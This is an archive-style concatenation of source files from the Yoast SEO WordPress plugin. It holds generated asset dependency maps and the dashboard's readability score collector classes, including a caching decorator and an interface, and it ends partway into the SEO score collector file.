wordpress-seo/src/generated/assets/externals.php000064400000007317147510273100016135 0ustar00<?php return array('reduxJsToolkit.js' => array('dependencies' => array('wp-polyfill', 'yoast-seo-redux-package'), 'version' => '425acbd30b98c737df6e'), 'analysisReport.js' => array('dependencies' => array('lodash', 'react', 'wp-i18n', 'wp-polyfill', 'yoast-seo-components-new-package', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package'), 'version' => 'e8b88d5e061686ebc3cb'), 'componentsNew.js' => array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-a11y', 'wp-i18n', 'wp-polyfill', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-react-select', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package'), 'version' => '898e7a63226507fb9afc'), 'featureFlag.js' => array('dependencies' => array('wp-polyfill'), 'version' => '91e54e3dd01f59a724ae'), 'helpers.js' => array('dependencies' => array('lodash', 'react', 'wp-i18n', 'wp-polyfill', 'yoast-seo-prop-types-package', 'yoast-seo-styled-components-package'), 'version' => 'f38a5f8b9a9ba801e722'), 'relatedKeyphraseSuggestions.js' => array('dependencies' => array('lodash', 'react', 'wp-i18n', 'wp-polyfill', 'yoast-seo-prop-types-package', 'yoast-seo-ui-library-package'), 'version' => 'dba9e49d885136198d13'), 'replacementVariableEditor.js' => array('dependencies' => array('lodash', 'react', 'wp-a11y', 'wp-components', 'wp-hooks', 'wp-i18n', 'wp-polyfill', 'yoast-seo-components-new-package', 'yoast-seo-draft-js-package', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package'), 'version' => '3ef02d0813043f65de66'), 'searchMetadataPreviews.js' => array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-i18n', 'wp-polyfill', 'yoast-seo-analysis-package', 'yoast-seo-components-new-package', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-replacement-variable-editor-package', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package'), 'version' => '732af9131c98940bc630'), 'socialMetadataForms.js' => array('dependencies' => array('lodash', 'react', 'wp-i18n', 'wp-polyfill', 'yoast-seo-components-new-package', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-redux-package', 'yoast-seo-replacement-variable-editor-package', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package'), 'version' => '6c538797b828b87a5419'), 'styleGuide.js' => array('dependencies' => array('wp-polyfill', 'yoast-seo-helpers-package', 'yoast-seo-styled-components-package'), 'version' => 'a65ddb8de826da5fea4d'), 'uiLibrary.js' => array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-polyfill', 'yoast-seo-prop-types-package', 'yoast-seo-redux-js-toolkit-package'), 'version' => 'ec4aa6a3b192cb4b42d9'), 'chart.js.js' => array('dependencies' => array('wp-polyfill'), 'version' => '196fb6740f0ef8ce192a'), 'draftJs.js' => array('dependencies' => array('react', 'react-dom', 'wp-polyfill'), 'version' => 'f03ff0ae2ee1cf6bbc54'), 'jed.js' => array('dependencies' => array('wp-polyfill'), 'version' => '28697086e82ae1cd0e88'), 'propTypes.js' => array('dependencies' => array('wp-polyfill'), 'version' => '4c546a0c9e97b70d3fe0'), 'reactHelmet.js' => array('dependencies' => array('react', 'wp-polyfill', 'yoast-seo-prop-types-package'), 'version' => 'b7d9f84f1dc499388f58'), 'redux.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'e83451c8529be91b4af7'), 'styledComponents.js' => array('dependencies' => array('react', 'wp-polyfill'), 'version' => 'f030a78c47ee9be46c07'), 'analysis.js' => array('dependencies' => array('lodash', 'wp-i18n', 'wp-polyfill', 'yoast-seo-feature-flag-package'), 'version' => 'e93a55f920d844e1bded'));
wordpress-seo/src/generated/assets/plugin.php000064400000032043147510273100015420 0ustar00<?php return array('addon-installation.js' => array('dependencies' => array('react', 'wp-components', 'wp-element', 'wp-i18n', 'wp-polyfill', 'yoast-seo-components-new-package', 'yoast-seo-prop-types-package', 'yoast-seo-styled-components-package'), 'version' => 'b9f59c3fa79d3c219f77'), 'admin-global.js' => array('dependencies' => array('jquery', 'wp-polyfill'), 'version' => 'ee3745f3fdc45e43fb51'), 'admin-modules.js' => array('dependencies' => array('react', 'wp-data', 'wp-element', 'wp-i18n', 'wp-polyfill', 'yoast-seo-components-new-package', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package'), 'version' => 'fdbe5d62f7cf6543e337'), 'analysis-worker.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'aa04978fbd423b404462'), 'api-client.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'f56d7de163fa219c67e2'), 'block-editor.js' => array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-annotations', 'wp-api-fetch', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-edit-post', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-plugins', 'wp-polyfill', 'wp-rich-text', 'wp-sanitize', 'wp-url', 'yoast-seo-analysis-package', 'yoast-seo-chart.js-package', 'yoast-seo-components-new-package', 'yoast-seo-externals-components', 'yoast-seo-externals-contexts', 'yoast-seo-externals-redux', 'yoast-seo-feature-flag-package', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-react-helmet-package', 'yoast-seo-related-keyphrase-suggestions-package', 'yoast-seo-replacement-variable-editor-package', 'yoast-seo-search-metadata-previews-package', 'yoast-seo-social-metadata-forms-package', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package', 'yoast-seo-ui-library-package'), 'version' => '4c9059217193f2c31dff'), 'bulk-editor.js' => array('dependencies' => array('jquery', 'wp-polyfill'), 'version' => '308d4f19cc8fcb346d3d'), 'classic-editor.js' => array('dependencies' => array('jquery', 'lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-sanitize', 'wp-url', 'yoast-seo-analysis-package', 'yoast-seo-chart.js-package', 'yoast-seo-components-new-package', 'yoast-seo-externals-components', 'yoast-seo-externals-contexts', 'yoast-seo-externals-redux', 'yoast-seo-feature-flag-package', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-react-helmet-package', 'yoast-seo-related-keyphrase-suggestions-package', 'yoast-seo-replacement-variable-editor-package', 'yoast-seo-search-metadata-previews-package', 'yoast-seo-social-metadata-forms-package', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package', 'yoast-seo-ui-library-package'), 'version' => '2840fa23ad3ee170734a'), 'crawl-settings.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'd511931b46d0b74648b4'), 'dashboard-widget.js' => array('dependencies' => array('react', 'wp-element', 'wp-polyfill', 'yoast-seo-analysis-report-package', 'yoast-seo-components-new-package', 'yoast-seo-helpers-package', 'yoast-seo-style-guide-package'), 'version' => 'ad6147e367cc50376cc5'), 'wincher-dashboard-widget.js' => array('dependencies' => array('lodash', 'moment', 'react', 'wp-api-fetch', 'wp-element', 'wp-i18n', 'wp-polyfill', 'yoast-seo-components-new-package', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package'), 'version' => '3e855acf6ae73ab6d1ed'), 'dynamic-blocks.js' => array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-polyfill', 'wp-server-side-render'), 'version' => '739ebde8b3e418b9886a'), 'edit-page.js' => array('dependencies' => array('jquery', 'wp-polyfill'), 'version' => 'afab9d8fdff1d98c8ca9'), 'editor-modules.js' => array('dependencies' => array('lodash', 'moment', 'react', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-polyfill', 'wp-sanitize', 'wp-url', 'yoast-seo-analysis-package', 'yoast-seo-analysis-report-package', 'yoast-seo-chart.js-package', 'yoast-seo-components-new-package', 'yoast-seo-externals-contexts', 'yoast-seo-externals-redux', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-related-keyphrase-suggestions-package', 'yoast-seo-social-metadata-forms-package', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package', 'yoast-seo-ui-library-package'), 'version' => 'c4c9b5158975d89f5f49'), 'elementor.js' => array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-annotations', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-polyfill', 'wp-rich-text', 'wp-sanitize', 'wp-url', 'yoast-seo-analysis-package', 'yoast-seo-chart.js-package', 'yoast-seo-components-new-package', 'yoast-seo-externals-components', 'yoast-seo-externals-contexts', 'yoast-seo-externals-redux', 'yoast-seo-feature-flag-package', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-react-helmet-package', 'yoast-seo-redux-js-toolkit-package', 'yoast-seo-related-keyphrase-suggestions-package', 'yoast-seo-replacement-variable-editor-package', 'yoast-seo-search-metadata-previews-package', 'yoast-seo-social-metadata-forms-package', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package', 'yoast-seo-ui-library-package'), 'version' => 'b2397dc709347ae53537'), 'externals-components.js' => array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-polyfill', 'wp-url', 'yoast-seo-analysis-package', 'yoast-seo-analysis-report-package', 'yoast-seo-components-new-package', 'yoast-seo-externals-contexts', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-react-helmet-package', 'yoast-seo-related-keyphrase-suggestions-package', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package', 'yoast-seo-ui-library-package'), 'version' => 'e43fad7353c00c2852db'), 'externals-contexts.js' => array('dependencies' => array('react', 'wp-element', 'wp-polyfill', 'yoast-seo-prop-types-package'), 'version' => '10ecaeb7fee15b420938'), 'externals-redux.js' => array('dependencies' => array('lodash', 'react', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-polyfill', 'wp-sanitize', 'wp-url', 'yoast-seo-helpers-package', 'yoast-seo-redux-js-toolkit-package'), 'version' => '2e2e87c27b1a5770cf79'), 'filter-explanation.js' => array('dependencies' => array('wp-polyfill'), 'version' => '8b3042cee26c58eb9be7'), 'help-scout-beacon.js' => array('dependencies' => array('react', 'wp-element', 'wp-i18n', 'wp-polyfill', 'yoast-seo-styled-components-package'), 'version' => '4cff4f48af6493046757'), 'import.js' => array('dependencies' => array('jquery', 'lodash', 'wp-i18n', 'wp-polyfill'), 'version' => 'cbe848d7253c616f3a75'), 'indexation.js' => array('dependencies' => array('jquery', 'react', 'wp-element', 'wp-i18n', 'wp-polyfill', 'yoast-seo-components-new-package', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package'), 'version' => '06817d20ccce29675844'), 'installation-success.js' => array('dependencies' => array('react', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-polyfill'), 'version' => 'd3a34cd23e4677c4be73'), 'integrations-page.js' => array('dependencies' => array('lodash', 'react', 'wp-api-fetch', 'wp-components', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-polyfill', 'yoast-seo-externals-contexts', 'yoast-seo-prop-types-package', 'yoast-seo-styled-components-package', 'yoast-seo-ui-library-package'), 'version' => 'fa7eed1ce031aa8ded1d'), 'introductions.js' => array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-polyfill', 'wp-url', 'yoast-seo-prop-types-package', 'yoast-seo-react-helmet-package', 'yoast-seo-redux-js-toolkit-package', 'yoast-seo-ui-library-package'), 'version' => '374ce94b4836b2c549dd'), 'network-admin.js' => array('dependencies' => array('jquery', 'wp-polyfill'), 'version' => 'c28de4314d03147fca4a'), 'post-edit.js' => array('dependencies' => array('jquery', 'lodash', 'react', 'react-dom', 'wp-annotations', 'wp-api', 'wp-api-fetch', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-is-shallow-equal', 'wp-polyfill', 'wp-rich-text', 'wp-url', 'yoast-seo-analysis-package', 'yoast-seo-externals-redux', 'yoast-seo-feature-flag-package', 'yoast-seo-prop-types-package', 'yoast-seo-react-helmet-package', 'yoast-seo-redux-js-toolkit-package', 'yoast-seo-styled-components-package', 'yoast-seo-ui-library-package'), 'version' => '87b6b39d7d8d53e76500'), 'quick-edit-handler.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'e7d3f8a9873afbfd1425'), 'reindex-links.js' => array('dependencies' => array('jquery', 'wp-polyfill'), 'version' => 'e4694eb7292052d53fc4'), 'redirect-old-features-tab.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'a792fdd4c0d1c2ef737c'), 'settings.js' => array('dependencies' => array('jquery', 'lodash', 'react', 'wp-compose', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-url', 'yoast-seo-externals-redux', 'yoast-seo-prop-types-package', 'yoast-seo-styled-components-package'), 'version' => 'a934c1f028984ebfafd9'), 'new-settings.js' => array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-polyfill', 'wp-url', 'yoast-seo-externals-redux', 'yoast-seo-prop-types-package', 'yoast-seo-react-helmet-package', 'yoast-seo-redux-js-toolkit-package', 'yoast-seo-replacement-variable-editor-package', 'yoast-seo-styled-components-package', 'yoast-seo-ui-library-package'), 'version' => 'b9ec0d0abe21325b1967'), 'academy.js' => array('dependencies' => array('lodash', 'react', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-url', 'yoast-seo-redux-js-toolkit-package', 'yoast-seo-ui-library-package'), 'version' => 'd0588094e6ca789bd521'), 'general-page.js' => array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-url', 'yoast-seo-chart.js-package', 'yoast-seo-externals-redux', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-react-helmet-package', 'yoast-seo-redux-js-toolkit-package', 'yoast-seo-social-metadata-forms-package', 'yoast-seo-ui-library-package'), 'version' => '722af1221fc6122aff37'), 'support.js' => array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-url', 'yoast-seo-externals-redux', 'yoast-seo-prop-types-package', 'yoast-seo-react-helmet-package', 'yoast-seo-redux-js-toolkit-package', 'yoast-seo-ui-library-package'), 'version' => '4c60baf2fb3f032f285f'), 'how-to-block.js' => array('dependencies' => array('lodash', 'react', 'wp-a11y', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-is-shallow-equal', 'wp-polyfill', 'yoast-seo-prop-types-package', 'yoast-seo-styled-components-package'), 'version' => '3c48eb9c2bda3f650887'), 'faq-block.js' => array('dependencies' => array('react', 'wp-a11y', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-is-shallow-equal', 'wp-polyfill', 'yoast-seo-prop-types-package'), 'version' => '34ebc93abf046084fe1c'), 'term-edit.js' => array('dependencies' => array('jquery', 'lodash', 'react', 'react-dom', 'wp-annotations', 'wp-api', 'wp-api-fetch', 'wp-blocks', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-is-shallow-equal', 'wp-polyfill', 'wp-rich-text', 'wp-url', 'yoast-seo-analysis-package', 'yoast-seo-externals-redux', 'yoast-seo-feature-flag-package', 'yoast-seo-prop-types-package', 'yoast-seo-react-helmet-package', 'yoast-seo-redux-js-toolkit-package', 'yoast-seo-ui-library-package'), 'version' => '3d587e23d72738105ee5'), 'used-keywords-assessment.js' => array('dependencies' => array('wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'f2d934f4e70fdace40fc'), 'react-select.js' => array('dependencies' => array('react', 'react-dom', 'wp-polyfill', 'yoast-seo-prop-types-package'), 'version' => '016b19f563b56deb8ad5'), 'workouts.js' => array('dependencies' => array('lodash', 'react', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-polyfill', 'yoast-seo-components-new-package', 'yoast-seo-externals-contexts', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-styled-components-package'), 'version' => '5285008d6544c5f1c0d4'), 'frontend-inspector-resources.js' => array('dependencies' => array('lodash', 'react', 'wp-i18n', 'wp-polyfill', 'yoast-seo-analysis-package', 'yoast-seo-components-new-package', 'yoast-seo-prop-types-package', 'yoast-seo-style-guide-package'), 'version' => '9f0c47d9fdc1587c505a'));
wordpress-seo/src/generated/assets/languages.php000064400000006034147510273100016071 0ustar00<?php return array('default.js' => array('dependencies' => array('wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'dcd5887e134799f6ade3'), 'ar.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => '0d834af7f322c207067e'), 'ca.js' => array('dependencies' => array('wp-polyfill', 'yoast-seo-analysis-package'), 'version' => '469209f8725d57e2dd13'), 'cs.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => '8e4aac0747a3c7dddf8a'), 'de.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'a6f42ad6f8355317a56c'), 'el.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'd72edcab364d544c2469'), 'en.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => '53ed833111ad00b16c23'), 'es.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'ff82c0b2cbb874d38d66'), 'fa.js' => array('dependencies' => array('wp-polyfill', 'yoast-seo-analysis-package'), 'version' => '5afc40a75db2d68cacf2'), 'fr.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'a23c2630b045abc90aec'), 'he.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => '081c52437d052c9cad74'), 'hu.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'd173d9d977c5b068443b'), 'id.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'ca63950fdd7d6938e7f0'), 'it.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'fb28921dba0da6614c80'), 'ja.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'f08d46a7f98fa0b3d579'), 'nb.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => '04746196da02bb736987'), 'nl.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'c324d67321be4de5dba8'), 'pl.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => '5908ab61bfa52f1abf82'), 'pt.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => '36a5b8e949ba05f62ab9'), 'ru.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'f57759f2e75aed95a722'), 'sk.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'be3d5afc018c7be19ca5'), 'sv.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'aa3c53ba0e8c760d56ec'), 'tr.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'bcd0ead95eae50bee792'));
infrastructure/score-results/readability-score-results/readability-score-results-collector.php000064400000013205147510273100034611 0ustar00wordpress-seo/src/dashboard<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\Readability_Score_Results;

use Yoast\WP\Lib\Model;
use Yoast\WP\SEO\Dashboard\Domain\Content_Types\Content_Type;
use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups\Readability_Score_Groups_Interface;
use Yoast\WP\SEO\Dashboard\Domain\Score_Results\Score_Results_Not_Found_Exception;
use Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\Score_Results_Collector_Interface;

/**
 * Getting readability score results from the indexable database table.
 */
class Readability_Score_Results_Collector implements Score_Results_Collector_Interface {

	/**
	 * Retrieves readability score results for a content type.
	 *
	 * @param Readability_Score_Groups_Interface[] $readability_score_groups All readability score groups.
	 * @param Content_Type                         $content_type             The content type.
	 * @param int|null                             $term_id                  The ID of the term we're filtering for.
	 * @param bool|null                            $is_troubleshooting       Whether we're in troubleshooting mode.
	 *
	 * @return array<string, object|bool|float> The readability score results for a content type.
	 *
	 * @throws Score_Results_Not_Found_Exception When the query of getting score results fails.
	 */
	public function get_score_results( array $readability_score_groups, Content_Type $content_type, ?int $term_id, ?bool $is_troubleshooting ) {
		global $wpdb;
		$results = [];

		$content_type_name = $content_type->get_name();
		$select            = $this->build_select( $readability_score_groups, $is_troubleshooting );

		$replacements = \array_merge(
			\array_values( $select['replacements'] ),
			[
				Model::get_table_name( 'Indexable' ),
				$content_type_name,
			]
		);

		if ( $term_id === null ) {
			//phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- $replacements is an array with the correct replacements.
			//phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- $select['fields'] is an array of simple strings with placeholders.
			$query = $wpdb->prepare(
				"
				SELECT {$select['fields']}
				FROM %i AS I
				WHERE ( I.post_status = 'publish' OR I.post_status IS NULL )
					AND I.object_type = 'post'
					AND I.object_sub_type = %s",
				$replacements
			);
			//phpcs:enable
		}
		else {
			$replacements[] = $wpdb->term_relationships;
			$replacements[] = $term_id;

			//phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- $replacements is an array with the correct replacements.
			//phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- $select['fields'] is an array of simple strings with placeholders.
			$query = $wpdb->prepare(
				"
				SELECT {$select['fields']}
				FROM %i AS I
				WHERE ( I.post_status = 'publish' OR I.post_status IS NULL )
					AND I.object_type = 'post'
					AND I.object_sub_type = %s
					AND I.object_id IN (
						SELECT object_id
						FROM %i
						WHERE term_taxonomy_id = %d
				)",
				$replacements
			);
			//phpcs:enable
		}

		$start_time = \microtime( true );

		//phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- $query is prepared above.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		$current_scores = $wpdb->get_row( $query );
		//phpcs:enable

		if ( $current_scores === null ) {
			throw new Score_Results_Not_Found_Exception();
		}

		$end_time = \microtime( true );

		$results['scores']     = $current_scores;
		$results['query_time'] = ( $end_time - $start_time );
		return $results;
	}

	/**
	 * Builds the select statement for the readability scores query.
	 *
	 * @param Readability_Score_Groups_Interface[] $readability_score_groups All readability score groups.
	 * @param bool|null                            $is_troubleshooting       Whether we're in troubleshooting mode.
	 *
	 * @return array<string, string> The select statement for the readability scores query.
	 */
	private function build_select( array $readability_score_groups, ?bool $is_troubleshooting ): array {
		$select_fields       = [];
		$select_replacements = [];

		// When we don't troubleshoot, we're interested in the amount of posts in a group, when we troubleshoot we want to gather the actual IDs.
		$select_operation = ( $is_troubleshooting === true ) ? 'GROUP_CONCAT' : 'COUNT';
		$selected_info    = ( $is_troubleshooting === true ) ? 'I.object_id' : '1';

		foreach ( $readability_score_groups as $readability_score_group ) {
			$min  = $readability_score_group->get_min_score();
			$max  = $readability_score_group->get_max_score();
			$name = $readability_score_group->get_name();

			if ( $min === null && $max === null ) {
				$select_fields[]       = "{$select_operation}(CASE WHEN I.readability_score = 0 AND I.estimated_reading_time_minutes IS NULL THEN {$selected_info} END) AS %i";
				$select_replacements[] = $name;
			}
			else {
				$needs_ert             = ( $min === 1 ) ? ' OR (I.readability_score = 0 AND I.estimated_reading_time_minutes IS NOT NULL)' : '';
				$select_fields[]       = "{$select_operation}(CASE WHEN ( I.readability_score >= %d AND I.readability_score <= %d ){$needs_ert} THEN {$selected_info} END) AS %i";
				$select_replacements[] = $min;
				$select_replacements[] = $max;
				$select_replacements[] = $name;
			}
		}

		$select_fields = \implode( ', ', $select_fields );

		return [
			'fields'       => $select_fields,
			'replacements' => $select_replacements,
		];
	}
}
score-results/readability-score-results/cached-readability-score-results-collector.php000064400000006143147510273100036021 0ustar00wordpress-seo/src/dashboard/infrastructure<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\Readability_Score_Results;

use WPSEO_Utils;
use Yoast\WP\SEO\Dashboard\Domain\Content_Types\Content_Type;
use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups\Readability_Score_Groups_Interface;
use Yoast\WP\SEO\Dashboard\Domain\Score_Results\Score_Results_Not_Found_Exception;
use Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\Score_Results_Collector_Interface;

/**
 * The caching decorator to get readability score results.
 */
class Cached_Readability_Score_Results_Collector implements Score_Results_Collector_Interface {

	public const READABILITY_SCORES_TRANSIENT = 'wpseo_readability_scores';

	/**
	 * The actual collector implementation.
	 *
	 * @var Readability_Score_Results_Collector $readability_score_results_collector
	 */
	private $readability_score_results_collector;

	/**
	 * The constructor.
	 *
	 * @param Readability_Score_Results_Collector $readability_score_results_collector The collector implementation to
	 *                                                                                 use.
	 */
	public function __construct( Readability_Score_Results_Collector $readability_score_results_collector ) {
		$this->readability_score_results_collector = $readability_score_results_collector;
	}

	/**
	 * Retrieves readability score results for a content type.
	 * Based on caching returns either the result or gets it from the collector.
	 *
	 * @param Readability_Score_Groups_Interface[] $score_groups       All readability score groups.
	 * @param Content_Type                         $content_type       The content type.
	 * @param int|null                             $term_id            The ID of the term we're filtering for.
	 * @param bool|null                            $is_troubleshooting Whether we're in troubleshooting mode.
	 *
	 * @throws Score_Results_Not_Found_Exception When the query of getting score results fails.
	 * @return array<string, object|bool|float> The readability score results for a content type.
	 */
	public function get_score_results(
		array $score_groups,
		Content_Type $content_type,
		?int $term_id,
		?bool $is_troubleshooting
	) {
		$content_type_name = $content_type->get_name();
		$transient_name    = self::READABILITY_SCORES_TRANSIENT . '_' . $content_type_name . ( ( $term_id === null ) ? '' : '_' . $term_id );

		$results   = [];
		$transient = \get_transient( $transient_name );
		if ( $is_troubleshooting !== true && $transient !== false ) {
			$results['scores']     = \json_decode( $transient, false );
			$results['cache_used'] = true;
			$results['query_time'] = 0;

			return $results;
		}

		$results               = $this->readability_score_results_collector->get_score_results( $score_groups, $content_type, $term_id, $is_troubleshooting );
		$results['cache_used'] = false;
		if ( $is_troubleshooting !== true ) {
			\set_transient( $transient_name, WPSEO_Utils::format_json_encode( $results['scores'] ), \MINUTE_IN_SECONDS );
		}
		return $results;
	}
}
wordpress-seo/src/dashboard/infrastructure/score-results/score-results-collector-interface.php000064400000002026147510273100027235 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results;

use Yoast\WP\SEO\Dashboard\Domain\Content_Types\Content_Type;
use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Score_Groups_Interface;

/**
 * The interface of score result collectors.
 */
interface Score_Results_Collector_Interface {

	/**
	 * Retrieves the score results for a content type.
	 *
	 * @param Score_Groups_Interface[] $score_groups       All score groups.
	 * @param Content_Type             $content_type       The content type.
	 * @param int|null                 $term_id            The ID of the term we're filtering for.
	 * @param bool|null                $is_troubleshooting Whether we're in troubleshooting mode.
	 *
	 * @return array<string, string> The score results for a content type.
	 */
	public function get_score_results( array $score_groups, Content_Type $content_type, ?int $term_id, ?bool $is_troubleshooting );
}
src/dashboard/infrastructure/score-results/seo-score-results/seo-score-results-collector.php000064400000012666147510273100031415 0ustar00wordpress-seo<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\SEO_Score_Results;

use Yoast\WP\Lib\Model;
use Yoast\WP\SEO\Dashboard\Domain\Content_Types\Content_Type;
use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups\SEO_Score_Groups_Interface;
